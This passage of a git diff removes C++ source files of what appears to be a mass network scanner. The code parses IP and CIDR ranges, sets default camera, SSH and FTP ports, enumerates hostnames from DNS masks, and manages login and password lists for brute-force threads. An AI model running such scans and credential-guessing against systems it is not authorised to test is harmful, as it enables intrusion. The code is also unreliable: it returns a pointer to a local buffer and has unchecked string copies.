atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - unsigned char ocRes = 0; - for(int i = 0; i < 4; ++i) - { - ocRes = octet[i]&mOctet[i]; - starterIP[flCounter][i] = ocRes; - ipsstartfl[flCounter][i] = ocRes; - if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i]; - else ipsendfl[flCounter][i] = octet[i]|~mOctet[i]; - }; - - gTargets += pow((float)2, (32 - mask)); - ++flCounter; - } - else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) - { - ///DUMMY/// - } - else - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - }; - gTargets -= 1; - gTargetsOverall = gTargets; - targets = gTargets; - - stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsOverall + 1) + " hosts)"); - fclose(fl); - } - else - { - stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); - }; -} - -char *GetCIDRRangeStr(char *str) { - char result[128] = {0}; - char start[32] = {0}; - char end[32] = {0}; - - int mask = 0; - char *ptr1 = strstr(str, "/"); - GetOctets(str); - - mask = atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - - sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0], - octet[1]&mOctet[1], - octet[2]&mOctet[2], - octet[3]&mOctet[3]); - - unsigned char tempRes0 = 0; - unsigned char tempRes1 = 0; - unsigned char tempRes2 = 0; - unsigned char tempRes3 = 0; - - if(mOctet[0] == 255) tempRes0 = octet[0]; - else tempRes0 = octet[0]|~mOctet[0]; - if(mOctet[1] == 255) tempRes1 = octet[1]; - else tempRes1 = octet[1]|~mOctet[1]; - if(mOctet[2] == 255) tempRes2 = octet[2]; - else tempRes2 = octet[2]|~mOctet[2]; - if(mOctet[3] == 255) tempRes3 = octet[3]; - else tempRes3 = octet[3]|~mOctet[3]; - - sprintf(end, "%d.%d.%d.%d", tempRes0, - tempRes1, - tempRes2, - tempRes3); - - sprintf(result, "%s-%s", start, end); - - return result; -} -int fInit(int InitMode, char *gR) { - strcpy(metaRange, gR); - if (InitMode == 0) - { - if(strstr(gR, "/") != NULL) - { - ++flCounter; - - char *str1; - char *str2; - char res[8] = {0}; - - GetOctets(gR); - - if(strstr(gR, ".") != NULL) - { - str1 = strstr(gR, "."); //1 byte - strncpy(res, gR, (int)((char*)str1 - gR)); - } - else strcpy(res, gR); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][0] = atoi(res); - ipsstartfl[flCounter][0] = atoi(res); - ipsendfl[flCounter][0] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][1] = atoi(res); - ipsstartfl[flCounter][1] = atoi(res); - ipsendfl[flCounter][1] = atoi(res); - }; - - ZeroMemory(res, sizeof(res)); - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 byte - strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); - } - else strcpy(res, str2 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][2] = atoi(res); - ipsstartfl[flCounter][2] = atoi(res); - ipsendfl[flCounter][2] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][3] = atoi(res); - ipsstartfl[flCounter][3] = atoi(res); - ipsendfl[flCounter][3] = atoi(res); - }; - - ipsstart[0] = ipsstartfl[flCounter][0]; - ipsstart[1] = ipsstartfl[flCounter][1]; - ipsstart[2] = ipsstartfl[flCounter][2]; - ipsstart[3] = ipsstartfl[flCounter][3]; - - ipsend[0] = ipsendfl[flCounter][0]; - ipsend[1] = ipsendfl[flCounter][1]; - ipsend[2] = ipsendfl[flCounter][2]; - ipsend[3] = ipsendfl[flCounter][3]; - } - else - { - int x; - char des1[64] = {0}; - - for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x*sizeof(int)); - memset(gR, ' ', x + 1); - ipsstart[i] = atoi(des1); - ZeroMemory(des1, sizeof(des1)); - if(ipsstart[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - x = strcspn(gR, "-"); - if(strstr(gR, "-") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - memcpy(des1, gR, x); - ipsstart[3] = atoi(des1); - memset(gR, ' ', x + 1); - - if(strstr(gR, ".") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x); - memset(gR, ' ', x + 1); - ipsend[i] = atoi(des1); - - if(ipsend[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - }; - if((ipsstart[0] > ipsend[0]) - || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) - ) - ) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - targets = numOfIps(ipsstart, ipsend); - }; -} - -int ParseArgs(int argc, char *argv[]) { - int s = 0; - int indexPorts = 0; - - if(strstr(argv[1], "-f") != NULL) - { - gThreads = atoi(argv[3]); - threads = gThreads; - - FileLoader(argv[2]); - gMode = -1; - } - else - { - gMode = atoi(argv[1]); - - if(gMode == 0) //Mode 0 (IP scan) - { - gThreads = atoi(argv[3]); - } - else if(gMode == 1) //Mode 1 (DNS scan) - { - strcpy(gFirstDom, argv[3]); - gThreads = atoi(argv[4]); - }; - - threads = gThreads; - }; - - if(gMode == 0) - { - if(strstr(argv[2], "-") != NULL) - { - strcpy(gRange, argv[2]); - } - else if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, GetCIDRRangeStr(argv[2])); - } - else - { - strcpy(gRange, argv[2]); - strcat(gRange, "-"); - strcat(gRange, argv[2]); - }; - - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - strcpy(finalIP, strstr(gRange, "-") + 1); - } - else if(gMode == 1) - { - if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, argv[2]); - strcpy(endIP2, argv[2]); - } - else - { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - }; - - }; - - for(int i = 1; i <= argc - 1; i++) - { - s += strlen(argv[i]) + 2; - }; - - char *argString = new char [s + 1]; - ZeroMemory(argString, sizeof(*argString)); - - for(int i = 1; i <= argc - 1; i++) - { - strcat(argString, argv[i]); - if(i != argc - 1) strcat(argString, "::"); - }; - - if(strstr(argString, "-p") != NULL) - { - char *portString = strstr(argString, "-p"); - char p[4096] = {0}; - if(strstr(portString, "::") != NULL) - { - strncpy(gPorts, portString, (int)(strstr(portString, "::") - portString)); - strncpy(p, strstr(argString, "-p") + 2, (int)(strstr(portString, "::") - portString)); - } - else - { - strcpy(gPorts, portString); - strcpy(p, strstr(argString, "-p") + 2); - }; - char *lex; - - if(strstr(p, ",") != NULL) - { - - lex = strtok(p, ","); - portArr[indexPorts++] = atoi(lex); - - while ((lex = strtok(NULL, ",")) != NULL) - { - portArr[indexPorts++] = atoi(lex); - overallPorts++; - }; - } - else if(strstr(p, "-") != NULL) - { - char *startp; - char *endp; - char buffForPorts[16] = {0}; - - lex = strtok(p, "-p"); - startp = lex; - lex = strtok(NULL, "-"); - endp = lex; - - for(int i = atoi(startp); i <= atoi(endp); i++ ) - { - portArr[indexPorts++] = i; - overallPorts++; - }; - - ZeroMemory(buffForPorts, sizeof(buffForPorts)); - } - else - { - - lex = strtok(p, "-p"); - portArr[indexPorts++] = atoi(lex); - }; - } - else - { - portArr[0] = 80; - portArr[1] = 81; - portArr[2] = 88; - portArr[3] = 8080; - portArr[4] = 8081; - portArr[5] = 60001; - portArr[6] = 60002; - portArr[7] = 8008; - portArr[8] = 8888; - portArr[9] = 554; - portArr[10] = 9000; - portArr[11] = 441; - portArr[12] = 4111; - portArr[13] = 6667; - portArr[14] = 3536; - portArr[15] = 22; - portArr[16] = 21; - - overallPorts = 16; - - strcpy(gPorts, "--DEFAULT"); - }; - - ZeroMemory(argString, sizeof(*argString)); - - delete[] argString; - -return 0; -} - -char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', - 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', - 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; - -int _getPos(char l) { - for(int i = 0; i < 38; ++i) - { - if(l == charAll[i]) return i; - }; - return -1; -} - -int _getChunkCount(char *data) { - int firstPos = _getPos(data[1]); - int secondPos = _getPos(data[2]); - return secondPos - firstPos + 1; -} - -int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { - if(strstr(mask, "[") != NULL) - { - char maskEnd[1024] = {0}; - char maskRes[1024] = {0}; - char *ptr1 = strstr(mask, "["); - char *ptr2 = strstr(ptr1, "]"); - int sz = ptr2 - ptr1; - char chunk[8] = {0}; - strncpy(chunk, ptr1, sz + 1); - int firstPos = _getPos(chunk[1]); - int secondPos = _getPos(chunk[2]); - - if(firstPos > secondPos) - { - stt->doEmitionRedFoundData("Error at mask (Wrong letter sequence)"); - return -1; - }; - - char maskStart[1024] = {0}; - int startPosition = strstr(mask, "[") - mask; - strncpy(maskStart, mask, startPosition); - - char maskEntry[1024] = {0}; - if(saveMaskEnder != NULL) - { - int startSavePosition = strstr(saveMaskEnder, "[") - saveMaskEnder; - strncpy(maskEntry, saveMaskEnder, startSavePosition); - }; - - int szMask = strlen(mask); - int szOffset = startPosition + 2; - if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); - else - { - ZeroMemory(maskEnd, sizeof(maskEnd)); - }; - - char maskSaver[128] = {0}; - if(firstPos != -1 && secondPos != -1) - { - for(int i = firstPos; i <= secondPos; ++i) - { - if(globalScanFlag == false) break; - - strcpy(maskSaver, saveMask); - strcat(maskSaver, maskEntry); - chunk[1] = charAll[i]; - strcat(maskSaver, chunk); - strcpy(maskRes, maskStart); - maskRes[startPosition] = charAll[i]; - strcat(maskRes, maskEnd); - - if(_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1; - - ZeroMemory(maskSaver, sizeof(maskSaver)); - ZeroMemory(maskRes, sizeof(maskRes)); - }; - }; - } - else - { - strcpy(endIP2, saveMask); - - while(cons >= gThreads && globalScanFlag) Sleep(300); - if(globalScanFlag == false) return 0; - - string res = string(mask); - verboseProgressDNS(--gTargets, res.c_str(), top_level_domain); - res += string(top_level_domain); - - ++indexIP; - - Threader::fireThread(res, (void*(*)(void))_connect); - }; -} - -void runAuxiliaryThreads() { - std::thread saverThread(_saver); - std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); - timerThread.detach(); -} - -int startScan(char* args) { - curl_global_init(CURL_GLOBAL_ALL); - SSL_library_init(); - OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ - SSL_load_error_strings(); /* Bring in and register error messages */ - - horLineFlag = false; - flCounter = 0; - PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; - AnomC1 = 0, BA = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0; - BrutingThrds = 0; - found = 0; - gTargets = 0; - targets = 0; - cons = 0; - overallPorts = 0; - found = 0; - indexIP = 0; - - ZeroMemory(octet, sizeof(octet)); - ZeroMemory(ipsstart, sizeof(ipsstart)); - ZeroMemory(ipsend, sizeof(ipsend)); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - //std::string OutputFolder = std::string(RESULT_DIR_NAME); - CreateDirectoryA(RESULT_DIR_NAME, NULL); -#else - struct stat str = {0}; - if (stat(RESULT_DIR_NAME, &str) == -1) { - mkdir(RESULT_DIR_NAME, 0700); - } -#endif - - int argc = 0; - char *argv[512] = { 0 }; - - char *tStr = strtok(args, "|"); - while (tStr != NULL) - { - argv[argc++] = tStr; - tStr = strtok(NULL, "|"); - }; - - ParseArgs(argc, argv); - mode = gMode; - int resInit = fInit(gMode, gRange); - - if (resInit == -1) - { - stt->doEmitionRedFoundData("[Error] fInit failure"); - stt->doEmitionKillSttThread(); - - return -1; - }; - - stt->doEmitionIPRANGE(QString("--")); - stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - - _passLoginLoader(); - _NegativeLoader(); - - if (gMode == 0) - { - runAuxiliaryThreads(); - - unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IPM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - - haters_gonna_hate_IPM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - std::string res = ""; - ++indexIP; - - tAddr.s_addr = ntohl(i); - res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - } - } - } - else if (gMode == 1) - { - runAuxiliaryThreads(); - - strcpy(top_level_domain, gFirstDom); - - char dataEntry[1024] = { 0 }; - int innerCounter = 0; - int sz = strlen(saveEndIP); - - for (int i = 0; i < sz; ++i) - { - if (saveEndIP[i] == '\\') - { - if (saveEndIP[i + 1] == 'd') - { - strcat(dataEntry, "[09]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'w') - { - strcat(dataEntry, "[0z]"); - ++i; - innerCounter += 4; - continue; - } - else if (saveEndIP[i + 1] == 'l') - { - strcat(dataEntry, "[az]"); - ++i; - innerCounter += 4; - continue; - } - else - { - QString errStr = "Error at mask (Position:" + QString::number(i + 1); - errStr += ") \""; - errStr += QString(saveEndIP).mid(0, i == 0 ? 0 : i); - errStr += "<u>"; - errStr += QString(saveEndIP).mid(i, i == 0 ? i + 2 : i + 1); - errStr += "</u>"; - errStr += QString(saveEndIP).mid(i + 2, strlen(saveEndIP)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - } - else - { - memset(dataEntry + innerCounter++, saveEndIP[i], 1); - }; - }; - memset(dataEntry + innerCounter + 1, '\0', 1); - - for (int i = 0; i < sz; ++i) - { - if (dataEntry[i] == '[') - { - for (int j = i + 1; j < i + 3; ++j) - { - if ((dataEntry[j] < '0' || dataEntry[j] > '9') - && (dataEntry[j] < 'a' || dataEntry[j] > 'z') - && dataEntry[j] != '_' - && dataEntry[j] != '-' - ) - { - QString errStr = "Error at mask (" + QString::number(j - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, j - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(j - 1, j + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(j + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - i += 3; - } - else if (dataEntry[i] == ']') - { - QString errStr = "Error at mask (" + QString::number(i - 1); - errStr += ") \""; - errStr += QString(dataEntry).mid(0, i - 1); - errStr += "<u>"; - errStr += QString(dataEntry).mid(i - 1, i + 1); - errStr += "</u>"; - errStr += QString(dataEntry).mid(i + 1, strlen(dataEntry)); - errStr += "\""; - - stt->doEmitionRedFoundData(errStr); - return -1; - }; - }; - - unsigned long long dnsCounter = 1; - char *dnsPtr1 = strstr(dataEntry, "["); - while (dnsPtr1 != NULL) - { - dnsCounter *= _getChunkCount(dnsPtr1); - dnsPtr1 = strstr(dnsPtr1 + 1, "["); - }; - - gTargets = dnsCounter; - gTargetsOverall = gTargets; - stt->doEmitionYellowFoundData("Starting DNS-scan..."); - stt->doEmitionChangeStatus("Scanning..."); - - int y = _GetDNSFromMask(dataEntry, "", dataEntry); - if (y == -1) - { - stt->doEmitionRedFoundData("DNS-Mode error"); - }; - } - else if (gMode == -1) - { - if (flCounter == 0) - { - stt->doEmitionRedFoundData("Empty IP list."); - globalScanFlag = false; - stt->doEmitionKillSttThread(); - - return -1; - }; - - runAuxiliaryThreads(); - - stt->doEmitionChangeStatus("Scanning..."); - for (gC = 0; gC < flCounter; ++gC) - { - strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsstartfl[gC][3]).c_str()); - strcat(metaRange, "-"); - strcat(metaRange, std::to_string(ipsendfl[gC][0]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][1]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][2]).c_str()); - strcat(metaRange, "."); - strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str()); - - unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; - unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; - - switch (gShuffle) { - case true: { - std::vector<std::string> ipVec; - struct in_addr tAddr; - - for (unsigned long i = ip1; i <= ip2; ++i) { - - if (globalScanFlag == false) break; - unsigned long offset = ip2 - i; - - tAddr.s_addr = ntohl(i); - ipVec.push_back(inet_ntoa(tAddr)); - if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str()); - - if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { - - std::random_shuffle(ipVec.begin(), ipVec.end()); - while (ipVec.size() != 0) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) goto haters_gonna_hate_IM; - - ++indexIP; - std::string res = ipVec[0]; - ipVec.erase(ipVec.begin()); - - verboseProgress(gTargets--, res.c_str()); - - Threader::fireThread(res, (void*(*)(void))_connect); - } - } - } - haters_gonna_hate_IM:; - break; - } - case false: { - struct in_addr tAddr; - for (unsigned long i = ip1; i <= ip2; ++i) { - - while (cons >= gThreads && globalScanFlag) Sleep(500); - if (globalScanFlag == false) break; - - ++indexIP; - - tAddr.s_addr = ntohl(i); - std::string res = string(inet_ntoa(tAddr)); - verboseProgress(gTargets--, res.c_str()); - Threader::fireThread(res, (void*(*)(void))_connect); - } - break; - }; - } - } - } - else - { - stt->doEmitionRedFoundData("Wrong parameters."); - }; - - Sleep(gTimeOut + 1); - - stt->doEmitionYellowFoundData("Stopping threads..."); - stt->doEmitionChangeStatus("Stopping..."); - - while(cons > 0 || jsonArr->size() > 0) { - Sleep(2000); - }; - - stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - stt->doEmitionChangeStatus("Idle"); - stt->doEmitionKillSttThread(); -} - -void nCleanup(){ - Threader::cleanUp(); - - if(loginLst != NULL) - { - for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; - delete []loginLst; - loginLst = NULL; - }; - if(passLst != NULL) - { - for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; - delete []passLst; - passLst = NULL; - }; - if(GlobalNegatives != NULL) - { - for(int i = 0; i < GlobalNegativeSize; ++i) - { - delete []GlobalNegatives[i]; - }; - delete []GlobalNegatives; - GlobalNegatives = NULL; - }; - if(wfPassLst != NULL) - { - for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; - delete []wfPassLst; - wfPassLst = NULL; - }; - if(wfLoginLst != NULL) - { - for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; - delete []wfLoginLst; - wfLoginLst = NULL; - }; - if(sshlpLst != NULL) - { - for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; - delete []sshlpLst; - sshlpLst = NULL; - }; - if(ipsstartfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsstartfl[i]; - delete []ipsstartfl; - ipsstartfl = NULL; - }; - if(ipsendfl != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []ipsendfl[i]; - delete []ipsendfl; - ipsendfl = NULL; - }; - if(starterIP != NULL) - { - for(int i = 0; i < flCounter; ++i) delete []starterIP[i]; - delete []starterIP; - starterIP = NULL; - }; -} diff --git a/nesca_startModule.cpp.LOCAL.3450.cpp b/nesca_startModule.cpp.LOCAL.3450.cpp deleted file mode 100644 index deac4ec..0000000 --- a/nesca_startModule.cpp.LOCAL.3450.cpp +++ /dev/null @@ -1,2528 +0,0 @@ -#include "STh.h" -#include "mainResources.h" -#include "externData.h" -#include "externFunctions.h" -#include "Connector.h" -#include "Threader.h" -#include <thread> - -QJsonArray *jsonArr = new QJsonArray(); - -bool gShuffle = true; -bool __savingBackUpFile = false; -bool horLineFlag = false; -static int portArr[65536] = {0}; -int gThreadDelay = 10; -int gC = 0; -int gTimeOut = 3; -int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0; -int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0; -int GlobalNegativeSize = 0; -int ipCounter = 0; -int mode; -int found = 0, indexIP = 1; -int gMode; -int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; -int ipsstart[4], ipsend[4], - overallPorts, flCounter, octet[4]; -int BA = 0; -int gPingTimeout = 1; -unsigned int Activity = 0; - -unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; -double ips = 0; -char top_level_domain[128] = {0}; -char endIP2[128] = {0}; -char **GlobalNegatives = 0; -char **loginLst, **passLst; -char **wfLoginLst, **wfPassLst; -char **sshlpLst; -char saveEndIP[128] = {0}; -char gRange[128] = {0}; -char gFirstDom[128] = {0}; -char gPorts[65536] = {0}; -char metaRange[256] = {0}; -char metaPercent[256] = {0}; -char metaIPS[256] = {0}; -char metaTargets[256] = {0}; -char metaETA[256] = {0}; -char metaOffline[256] = {0}; - -char currentIP[MAX_ADDR_LEN] = {0}; -char finalIP[32] = {0}; - -bool ErrLogFirstTime = true; -bool gPingNScan = false; -long long unsigned int gTargets = 0, gTargetsOverall = 1, targets; -volatile int gThreads; -volatile int cons = 0; -volatile int BrutingThrds = 0; -volatile int threads = 20; - -void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) -{ - FILE *errFile = fopen("./logs/ns-track_errors.html", "r"); - if(errFile != NULL) - { - fclose(errFile); - }; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectory(L"./logs", NULL); -#else - struct stat st = {0}; - if (stat("./logs", &st) == -1) { - mkdir("./logs", 0700); - } -#endif - time_t rtime; - time(&rtime); - char cdate[32] = {0}; - strcpy (cdate, ctime (&rtime)); - - char *totalErrLog = NULL; - char stylePart[] = {"<style>html{background-color:#373737;}#mainblock{background-color:#646464;width:100%;border:1px dotted black;}#sender-time{color:#ffffff;}#msr{color:#b9b9b9;}#msc{width:99,8%;border:1px solid black;}pre{width:99,8%;border:1px solid gray;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;white-space:pre-wrap;word-wrap:break-word;}</style>"}; - char firstPart[] = {"<div id=\"mainblock\"><div id=\"sender-time\">"}; - char secondPart[] = {"</div><span id=\"msr\">Message sent:</span><pre>"}; - char thirdPart[] = {"</pre><span id=\"msr\">Reply received:</span><pre><iframe width=\"100%\" height=\"600px\" id=\"msc\" src=\"data:text/html;base64,"}; - char forthPart[] = {"\"></iframe></pre></div>"}; - - int sz = strlen(stylePart) + strlen(firstPart) + strlen(secondPart) + strlen(thirdPart) + strlen(forthPart) + strlen(QByteArray(MesSent).replace("\r\n", "\n").data()) + (strlen(ReplRecv) + 50*strlen(ReplRecv)/100) + strlen(cdate) + strlen(sender); - - totalErrLog = new char[sz + 4]; - ZeroMemory(totalErrLog, sz); - if(ErrLogFirstTime) strcat(totalErrLog, stylePart); - strcat(totalErrLog, firstPart); - strcat(totalErrLog, sender); - strcat(totalErrLog, " - "); - strcat(totalErrLog, cdate); - strcat(totalErrLog, secondPart); - strcat(totalErrLog, QByteArray(MesSent).replace("\r\n", "\n").data()); - strcat(totalErrLog, thirdPart); - strcat(totalErrLog, base64_encode((const unsigned char *)ReplRecv, strlen(ReplRecv)).c_str()); - strcat(totalErrLog, forthPart); - memset(totalErrLog + sz, '\0', 1); - - errFile = fopen("./logs/ns-track_errors.html", "a"); - if(errFile != NULL) - { - fwrite(totalErrLog, sz, 1, errFile); - fclose(errFile); - } - else - { - stt->doEmitionRedFoundData("[Log] -Cant open log file!"); - }; - if(totalErrLog != NULL) - { - delete 